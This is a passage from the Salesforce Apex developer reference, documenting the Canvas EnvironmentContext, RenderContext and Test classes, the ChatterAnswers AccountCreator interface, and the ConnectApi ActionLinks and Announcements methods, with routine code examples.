EnvironmentContext Methods
The following are methods for EnvironmentContext.
IN THIS SECTION:
addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page thats placed on an object.
addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears
on a Visualforce page thats placed on an object.
getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.
getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page thats placed on an object.

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Reference

EnvironmentContext Interface

getLocationUrl()
Retrieves the location URL of the canvas app.
getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.
getSublocation()
Retrieves the display sublocation where the canvas app is being called from.
setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.

addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page thats placed on an object.

Signature
public void addEntityField(String fieldName)

Parameters
fieldName

Type: String
The object field name that you need to add to the list of returned fields., Using * adds all fields that the user has permission to view.

Return Value
Type: Void

Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developers Guide for more information on the Record object.
Use addEntityField() to add a field to the list of object fields that are returned in the signed request Record object. By default
the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by calling
addEntityField('*').
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().

Example
This example adds the Name and BillingAddress fields to the list of object fields. This example assumes the canvas app will appear in a
Visualforce page thats associated with the Account page layout.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Add Name and BillingAddress to fields (assumes we'll run from the Account detail page)
env.addEntityField('Name');
env.addEntityField('BillingAddress');

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Reference

EnvironmentContext Interface

addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page thats placed on an object.

Signature
public void addEntityFields(Set<String> fieldNames)

Parameters
fieldNames

Type: SET<String>
The set of object field names that you need to add to the list of returned fields. If an item in the set is *, all fields that the user has
permission to view are added.

Return Value
Type: Void

Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developers Guide for more information on the Record object.
Use addEntityFields() to add a set of one or more fields to the list of object fields that are returned in the signed request Record
object. By default the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by adding
a set that includes * as one of the strings.
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().

Example
This example adds the Name, BillingAddress, and YearStarted fields to the list of object fields. This example assumes that the canvas app
will appear in a Visualforce page thats associated with the Account page layout.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Add Name, BillingAddress and YearStarted to fields (assumes we'll run from the Account
detail page)
Set<String> fields = new Set<String>{'Name','BillingAddress','YearStarted'};
env.addEntityFields(fields);

getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.

Signature
public String getDisplayLocation()

747

Reference

EnvironmentContext Interface

Return Value
Type: String
The return value can be one of the following strings:
ChatterThe canvas app was called from the Chatter tab.
ChatterFeedThe canvas app was called from a Chatter canvas feed item.
MobileNavThe canvas app was called from the navigation menu in Salesforce1.
OpenCTIThe canvas app was called from an Open CTI component.
PageLayoutThe canvas app was called from an element within a page layout. If the displayLocation is PageLayout, one of the
subLocation values might be returned.
PublisherThe canvas app was called from a canvas custom quick action.
ServiceDeskThe canvas app was called from a Salesforce Console component.
VisualforceThe canvas app was called from a Visualforce page.
NoneThe canvas app was called from the Canvas App Previewer.

Usage
Use this method to obtain the display location for the canvas app.

getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page thats placed on an object.

Signature
public List<String> getEntityFields()

Return Value
Type: LIST<String>

Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developers Guide for more information on the Record object.
Use getEntityFields() to retrieve the list of object fields that are returned in the signed request Record object. By default the list of fields
includes ID. The list of fields can be configured by using the Canvas.EnvironmentContext.addEntityField(fieldName) or
Canvas.EnvironmentContext.addEntityFields(fieldNames) methods.

Example
This example gets the current list of object fields and retrieves each item in the list, printing each field name to the debug log.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
List<String> entityFields = env.getEntityFields();

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Reference

EnvironmentContext Interface

for (String fieldVal : entityFields) {

System.debug('Environment Context entityField: ' + fieldVal);
}

If the canvas app thats using this lifecycle code was run from the detail page of an Account, the debug log output might look like:
Environment Context entityField: Id

getLocationUrl()
Retrieves the location URL of the canvas app.

Signature
public String getLocationUrl()

Return Value
Type: String

Usage
Use this method to obtain the URL of the page where the user accessed the canvas app. For example, if the user accessed your app by
clicking a link on the Chatter tab, this method returns the URL of the Chatter tab, which would be similar to
https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage.

getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.

Signature
public String getParametersAsJSON()

Return Value
Type: String

Usage
Use this method to get the current custom parameters for the canvas app. The parameters are returned in a JSON string that can be
de-serialized by using the System.JSON.deserializeUntyped(jsonString) method.
Custom parameters can be modified by using the Canvas.EnvironmentContext.setParametersAsJSON(jsonString) string.

Example
This example gets the current custom parameters, de-serializes them into a map, and prints the results to the debug log.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Get current custom params

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Reference

EnvironmentContext Interface

Map<String, Object> currentParams =

(Map<String, Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
System.debug('Environment Context custom paramters: ' + currentParams);

getSublocation()
Retrieves the display sublocation where the canvas app is being called from.

Signature
public String getSublocation()

Return Value
Type: String
The return value can be one of the following strings:
S1MobileCardFullviewThe canvas app was called from a mobile card.
S1MobileCardPreviewThe canvas app was called from a mobile card preview. The user must click the preview to open the app.
S1RecordHomePreviewThe canvas app was called from a record detail page preview. The user must click the preview to open
the app.
S1RecordHomeFullviewThe canvas app was called from a page layout.

Usage
Use this method to obtain the display sublocation for the canvas app. Use only if the primary display location can be displayed on mobile
devices.

setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.

Signature
public void setParametersAsJSON(String jsonString)

Parameters
jsonString

Type: String
The custom parameters that you need to set, serialized into a JSON format string.

Return Value
Type: Void

Usage
Use this method to set the current custom parameters for the canvas app. The parameters must be provided in a JSON string. You can
use the System.JSON.serialize(objectToSerialize) method to serialize a map into a JSON string.

750

Reference

RenderContext Interface

Setting the custom parameters will overwrite the custom parameters that are set for the current request. If you need to modify the
current custom parameters, first get the current set of custom parameters by using getParametersAsJSON(), modify the retrieved
parameter set as needed, and then use this modified set in your call to setParametersAsJSON().
If the provided JSON string exceeds 32KB, a System.CanvasException will be thrown.

Example
This example gets the current custom parameters, adds a new newCustomParam parameter with a value of TESTVALUE, and sets
the current custom parameters.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Get current custom params
Map<String, Object> previousParams =
(Map<String, Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
// Add a new custom param
previousParams.put('newCustomParam','TESTVALUE');
// Now replace the parameters with the current parameters plus our new custom param
env.setParametersAsJSON(JSON.serialize(previousParams));

RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.

Namespace
Canvas

Usage
Use this interface to retrieve application and environment context information for your canvas app. For this interface, you dont need to
create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
RenderContext Methods

RenderContext Methods
The following are methods for RenderContext.
IN THIS SECTION:
getApplicationContext()
Retrieves the application context information.
getEnvironmentContext()
Retrieves the environment context information.

751

Reference

RenderContext Interface

getApplicationContext()
Retrieves the application context information.

Signature
public Canvas.ApplicationContext getApplicationContext()

Return Value
Type: Canvas.ApplicationContext

Usage
Use this method to get the application context information for your canvas app.

Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the application context information and then checks the namespace, version, and app URL.
public void onRender(Canvas.RenderContext renderContext){
Canvas.ApplicationContext app = renderContext.getApplicationContext();
if (!'MyNamespace'.equals(app.getNamespace())){
// This application is installed, add code as needed
...
}
// Check the application version
Double currentVersion = Double.valueOf(app.getVersion());
if (currentVersion <= 5){
// Add version specific code as needed
...
// Tell the canvas application to operate in deprecated mode
app.setCanvasUrlPath('/canvas?deprecated=true');
}
}

getEnvironmentContext()
Retrieves the environment context information.

Signature
public Canvas.EnvironmentContext getEnvironmentContext()

Return Value
Type: Canvas.EnvironmentContext

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Reference

Test Class

Usage
Use this method to get the environment context information for your canvas app.

Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the environment context information and then modifies the custom parameters.
public void onRender(Canvas.RenderContext renderContext) {
Canvas.EnvironmentContext env =
renderContext.getEnvironmentContext();
// Retrieve the custom params
Map<String, Object> previousParams = (Map<String, Object>)
JSON.deserializeUntyped(env.getParametersAsJSON());
previousParams.put('param1',1);
previousParams.put('param2',3.14159);
...
// Now, add in some opportunity record IDs
Opportunity[] o = [select id, name from opportunity];
previousParams.put('opportunities',o);
// Now, replace the parameters
env.setParametersAsJSON(JSON.serialize(previousParams));
}

Test Class
Contains methods for automated testing of your Canvas classes.

Namespace
Canvas

Usage
Use this class to test your implementation of Canvas.CanvasLifecycleHandler with mock test data. You can create a test
Canvas.RenderContext with mock application and environment context data and use this data to verify that your CanvasLifecycleHandler
is being invoked correctly.
IN THIS SECTION:
Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.

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Reference

Test Class

Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
When you call Canvas.Test.mockRenderContext(applicationContextTestValues,
environmentContextTestValues), you need to provide maps of key-value pairs to represent your mock application and
environment context data. The Test class provides static constant strings that you can use as keys for various parts of the application
and environment context.
Constant

Description

KEY_CANVAS_URL

Represents the canvas app URL key in the ApplicationContext.

KEY_DEVELOPER_NAME

Represents the canvas app developer or API name key in the ApplicationContext.

KEY_DISPLAY_LOCATION

Represents the canvas app display location key in the EnvironmentContext.

KEY_LOCATION_URL

Represents the canvas app location URL key in the EnvironmentContext.

KEY_NAME

Represents the canvas app name key in the ApplicationContext.

KEY_NAMESPACE

Represents the canvas app namespace key in the ApplicationContext.

KEY_SUB_LOCATION

Represents the canvas app sublocation key in the EnvironmentContext.

KEY_VERSION

Represents the canvas app version key in the ApplicationContext.

Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.
The following are methods for Test. All are static methods.
IN THIS SECTION:
mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.
testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.

mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.

Signature
public static Canvas.RenderContext mockRenderContext(Map<String,String>
applicationContextTestValues, Map<String,String> environmentContextTestValues)

Parameters
applicationContextTestValues

Type: Map<String,String>

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Reference

Test Class

Specifies a map of key-value pairs that provide mock application context data. Use constants that are provided by Canvas.Test as
keys. If null is provided for this parameter, the canvas framework will generate some default mock application context values.
environmentContextTestValues

Type: Map<String,String>
Specifies a map of key-value pairs that provide mock environment context data. Use constants provided by Canvas.Test as keys. If
null is provided for this parameter, the canvas framework will generate some default mock environment context values.

Return Value
Type: Canvas.RenderContext

Usage
Use this method to create a mock Canvas.RenderContext. Use the returned RenderContext in calls to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext) for testing
Canvas.CanvasLifecycleHandler implementations.

Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext can be used in a call to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext).
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
Map<String,String> envValues = new Map<String,String>();
envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);

testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.

Signature
public static Void testCanvasLifecycle(Canvas.CanvasLifecycleHandler
lifecycleHandler,Canvas.RenderContext mockRenderContext)

Parameters
lifecycleHandler

Type: Canvas.CanvasLifecycleHandler
Specifies the CanvasLifecycleHandler implementation that you need to invoke.
mockRenderContext

Type: Canvas.RenderContext

755

Reference

Canvas Exceptions

Specifies the RenderContext information that you need to provide to the invoked CanvasLifecycleHandler. If null is provided for
this parameter, the canvas framework will generate and use a default mock RenderContext.

Return Value
Type: Void

Usage
Use this method to invoke an implementation of Canvas.CanvasLifecycleHandler.onRender(renderContext) with a mock
Canvas.RenderContext that you provide.

Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext is then used to invoke a Canvas.CanvasLifecycleHandler.
// Set some application context data in a Map
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
// Set some environment context data in a MAp
Map<String,String> envValues = new Map<String,String>();
envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
// Create a mock RenderContext using the test application and environment context data
Maps
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);
// Set some custom params on the mock RenderContext
mock.getEnvironmentContext().setParametersAsJSON('{\"param1\":1,\"boolParam\":true,\"stringParam\":\"test
string\"}');
// Use the mock RenderContext to invoke a CanvasLifecycleHandler
Canvas.Test.testCanvasLifecycle(handler,mock)

Canvas Exceptions
The Canvas namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Canvas namespace contains this exception:
Exception

Description

Canvas.CanvasRenderException

Use this class in your implementation of

Canvas.CanvasLifecycleHandler.onRender(renderContext). To show
an error to the user in your onRender() implementation, throw a
Canvas.CanvasRenderException, and the canvas framework will

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Reference

ChatterAnswers Namespace

Exception

Description
render the error message to the user. This exception will be managed only
within the onRender() method.

Example
The following example implementation of onRender() catches a CanvasException that was thrown because a canvas URL was set
with a string that exceeded the maximum length. A CanvasRenderException is created and thrown to display the error to the user.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler {
public void onRender(Canvas.RenderContext renderContext) {
Canvas.ApplicationContext app = renderContext.getApplicationContext();
// Code to generate a URL string that is too long
...
// Try to set the canvas app URL using the invalid URL string
try {
app.setCanvasUrlPath(aUrlPathThatIsTooLong);
} catch (CanvasException e) {
// Display error to user by throwing a new CanvasRenderException
throw new CanvasRenderException(e.getMessage());
}
}
}

See the Force.com Canvas Developers Guide for additional examples that use CanvasRenderException.

ChatterAnswers Namespace
The ChatterAnswers namespace provides an interface for creating Account records.
The following is the interface in the ChatterAnswers namespace.
IN THIS SECTION:
AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.

AccountCreator Interface
Creates Account records that will be associated with Chatter Answers users.

Namespace
ChatterAnswers

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Reference

AccountCreator Interface

Usage
The ChatterAnswers.AccountCreator is specified in the registrationClassName attribute of a
chatteranswers:registration Visualforce component. This interface is called by Chatter Answers and allows for custom
creation of Account records used for portal users.
To implement the ChatterAnswers.AccountCreator interface, you must first declare a class with the implements
keyword as follows:
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {

Next, your class must provide an implementation for the following method:
public String createAccount(String firstname, String lastname, Id siteAdminId) {
// Your code here
}

The implemented method must be declared as global or public.

IN THIS SECTION:
AccountCreator Methods
AccountCreator Example Implementation

AccountCreator Methods
The following are methods for AccountCreator.
IN THIS SECTION:
createAccount(firstName, lastName, siteAdminId)
Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.

createAccount(firstName, lastName, siteAdminId)

Accepts basic user information and creates an Account record. The implementation of this method returns the account ID.

Signature
public String createAccount(String firstName, String lastName, Id siteAdminId)

Parameters
firstName

Type: String
The first name of the user who is registering.
lastName

Type: String
The last name of the user who is registering.
siteAdminId

Type: ID

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Reference

ConnectApi Namespace

The user ID of the Site administrator, used for notification if any exceptions occur.

Return Value
Type: String

AccountCreator Example Implementation

This is an example implementation of the ChatterAnswers.AccountCreator interface. The createAccount method
implementation accepts user information and creates an Account record. The method returns a String value for the Account ID.
public class ChatterAnswersRegistration implements ChatterAnswers.AccountCreator {
public String createAccount(String firstname, String lastname, Id siteAdminId) {
Account a = new Account(name = firstname + ' ' + lastname, ownerId = siteAdminId);
insert a;
return a.Id;
}
}

This example tests the code above.

@isTest
private class ChatterAnswersCreateAccountTest {
static testMethod void validateAccountCreation() {
User[] user = [SELECT Id, Firstname, Lastname from User];
if (user.size() == 0) { return; }
String firstName = user[0].FirstName;
String lastName = user[0].LastName;
String userId = user[0].Id;
String accountId = new ChatterAnswersRegistration().createAccount(firstName,
lastName, userId);
Account acct = [SELECT name, ownerId from Account where Id =: accountId];
System.assertEquals(firstName + ' ' + lastName, acct.name);
System.assertEquals(userId, acct.ownerId);
}
}

ConnectApi Namespace
The ConnectApi namespace (also called Chatter in Apex) provides classes for accessing the same data available in Chatter REST API.
Use Chatter in Apex to create custom Chatter experiences in Salesforce.
For information about working with the ConnectApi classes, see Chatter in Apex on page 293.
IN THIS SECTION:
ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.
Announcements Class
Access information about announcements and post announcements.

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Reference

ConnectApi Namespace

Chatter Class
Access information about followers and subscriptions for records.
ChatterFavorites Class
Chatter favorites give you easy access to topics, list views, and feed searches.
ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and
vote on polls.
ChatterGroups Class
Information about groups, such as the groups members, photo, and the groups the specified user is a member of. Add members
to a group, remove members, and change the group photo.
ChatterMessages Class
Access and modify message and conversation data.
ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.
Communities Class
Access general information about communities in your organization.
CommunityModeration Class
Access information about flagged feed items and comments in a community. Add and remove flags from comments and feed items.
To view a feed containing all flagged feed items, pass ConnectApi.FeedType.Moderation to the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed method.
Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.
Knowledge Class
Access information about trending articles in communities.
ManagedTopics Class
Access information about managed topics in a community. Create, delete, and reorder managed topics.
Mentions Class
Access information about mentions. A mention is an @ character followed by a user or group name. When a user or group is
mentioned, they receive a notification.
Organization Class
Access information about an organization.
QuestionAndAnswers Class
Access question and answers suggestions.
Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.
Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.

760

Reference

ActionLinks Class

Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information
about groups contributing to the topic. Update a topics name or description, merge topics, and add and remove topics from records
and feed items.
UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes
user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps,
which are custom tabs on the profile page.
Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.
ConnectApi Input Classes
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
ConnectApi Output Classes
Most ConnectApi methods return instances of ConnectApi output classes.
ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi Exceptions
The ConnectApi namespace contains exception classes.

ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link
diagnostic information.

Namespace
ConnectApi

Usage
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
There are two views of an action link and an action link group: the definition, and the context users view. The definition includes potentially
sensitive information, such as authentication information. The context users view is filtered by visibility options and the values reflect
the state of the context user.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
call must have created the definition or have View All Data permission. Use these methods to operate on action link group definitions
(which contain action link definitions):
createActionLinkGroupDefinition(communityId, actionLinkGroup)
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)

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Reference

ActionLinks Class

getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Use these methods to operate on a context users view of an action link or an action link group:
getActionLink(communityId, actionLinkId)
getActionLinkGroup(communityId, actionLinkGroupId)
getActionLinkDiagnosticInfo(communityId, actionLinkId)
For information about how to use action links, see Working with Action Links.

ActionLinks Methods
The following are methods for ActionLinks. All methods are static.
IN THIS SECTION:
createActionLinkGroupDefinition(communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.
deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.
getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.
getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access
the action link.
getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.
getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.

createActionLinkGroupDefinition(communityId, actionLinkGroup)
Create an action link group definition. To associate an action link group with a feed element, first create an action link group definition.
Then post a feed element with an associated actions capability.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.ActionLinkGroupDefinition createActionLinkGroupDefinition(String
communityId, ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroup)

762

Reference

ActionLinks Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkGroup
Type: ConnectApi.ActionLinkGroupDefinitionInput

A ConnectApi.ActionLinkGroupDefinitionInput object that defines the action link group.

Return Value
Type: ConnectApi.ActionLinkGroupDefinition

Usage
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone
actions in their own action group.
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have View All Data permission.
Note: Invoking ApiAsync action links from an app requires a call to set the status. However, there isnt currently a way to set
the status of an action link using Apex. To set the status, use Chatter REST API. See the Action Link resource in the Chatter REST API
Developer Guide for more information.
SEE ALSO:
Define an Action Link and Post with a Feed Element

deleteActionLinkGroupDefinition(communityId, actionLinkGroupId)
Delete an action link group definition. Deleting an action link group definition removes all references to it from feed elements.

API Version
33.0

Requires Chatter
No

Signature
public static void deleteActionLinkGroupDefinition(String communityId, String
actionLinkGroupId)

763

Reference

ActionLinks Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId

Type: String
The ID of the action link group.

Return Value
Type: Void

Usage
Information in the action link group definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason,
only calls made from the Apex namespace that created the action link group definition can read, modify, or delete the definition. In
addition, the user making the call must have created the definition or have View All Data permission.

getActionLink(communityId, actionLinkId)
Get information about an action link, including state for the context user.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.PlatformAction getActionLink(String communityId, String
actionLinkId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkId

Type: String
The ID of the action link.

Return Value
Type: ConnectApi.PlatformAction

764

Reference

ActionLinks Class

getActionLinkDiagnosticInfo(communityId, actionLinkId)
Get diagnostic information returned when an action link executes. Diagnostic information is given only for users who can access the
action link.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.ActionLinkDiagnosticInfo getActionLinkDiagnosticInfo(String
communityId, String actionLinkId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkId

Type: String
The ID of the action link.

Return Value
Type: ConnectApi.ActionLinkDiagnosticInfo

getActionLinkGroup(communityId, actionLinkGroupId)
Get information about an action link group including state for the context user.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.PlatformActionGroup getActionLinkGroup(String communityId,
String actionLinkGroupId)

765

Reference

ActionLinks Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId

Type: String
The ID of the action link group.

Return Value
Type: ConnectApi.PlatformActionGroup

Usage
All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Note that action link
groups are accessible by clients, unlike action link group definitions.

getActionLinkGroupDefinition(communityId, actionLinkGroupId)
Get information about an action link group definition.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.ActionLinkGroupDefinition getActionLinkGroupDefinition(String
communityId, String actionLinkGroupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
actionLinkGroupId

Type: String
The ID of the action link group.

Return Value
Type: ConnectApi.ActionLinkGroupDefinition

766

Reference

Announcements Class

Announcements Class
Access information about announcements and post announcements.

Namespace
ConnectApi

Usage
Use the ConnectApi.Announcements class to get, create, update, and delete announcements. Use an announcement to
highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post deletes the announcement.
This image shows an announcement displayed in a group. Creating an announcement also creates a feed item with the announcement
text.

An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless its deleted or
replaced by another announcement.

Announcements Methods
The following are methods for Announcements. All methods are static.

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Reference

Announcements Class

IN THIS SECTION:
deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.
getAnnouncement(communityId, announcementId)
Gets the specified announcement.
getAnnouncements(communityId, parentId)
Get the first page of announcements.
getAnnouncements(communityId, parentId, pageParam, pageSize)
Get the specified page of announcements.
postAnnouncement(communityId, announcement)
Post an announcement.
updateAnnouncement(communityId, announcementId, expirationDate)
Updates the expiration date of the specified announcement.

deleteAnnouncement(communityId, announcementId)
Deletes the specified announcement.

API Version
31.0

Requires Chatter
Yes

Signature
public static void deleteAnnouncement(String communityId, String announcementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
announcementId

Type: String
An announcement ID, which has a prefix of 0BT.

Return Value
Type: Void

768

Reference

Announcements Class

Usage
To get a list of announcements in a group, call getAnnouncements(communityId, parentId) or
getAnnouncements(communityId, parentId, pageParam, pageSize).
To post an announcement to a group, call postAnnouncement(communityId, announcement) .

getAnnouncement(communityId, announcementId)
Gets the specified announcement.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement getAnnouncement(String communityId, String
announcementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
announcementId

Type: String
An announcement ID, which has a prefix of 0BT.

Return Value
Type: ConnectApi.Announcement

getAnnouncements(communityId, parentId)
Get the first page of announcements.

API Version
36.0

769

Reference

Announcements Class

Requires Chatter
Yes

Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
parentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
parentId

Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.

Return Value
Type: ConnectApi.AnnouncementPage

getAnnouncements(communityId, parentId, pageParam, pageSize)

Get the specified page of announcements.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
parentId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
parentId

Type: String
ID of the parent entity for the announcement, that is, a group ID when the announcement appears in a group.
pageParam

Type: Integer

770

Reference

Announcements Class

Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of announcements per page.

Return Value
Type: ConnectApi.AnnouncementPage

postAnnouncement(communityId, announcement)
Post an announcement.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement postAnnouncement(String communityId,
ConnectApi.AnnouncementInput announcement)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
announcement
Type: ConnectApi.AnnouncementInput

A ConnectApi.AnnouncementInput object.

Return Value
Type: ConnectApi.Announcement

updateAnnouncement(communityId, announcementId, expirationDate)

Updates the expiration date of the specified announcement.

API Version
31.0

771

Reference

Chatter Class

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement updateAnnouncement(String communityId, String
announcementId, Datetime expirationDate)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
announcementId

Type: String
An announcement ID, which has a prefix of 0BT.
expirationDate

Type: Datetime
The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce
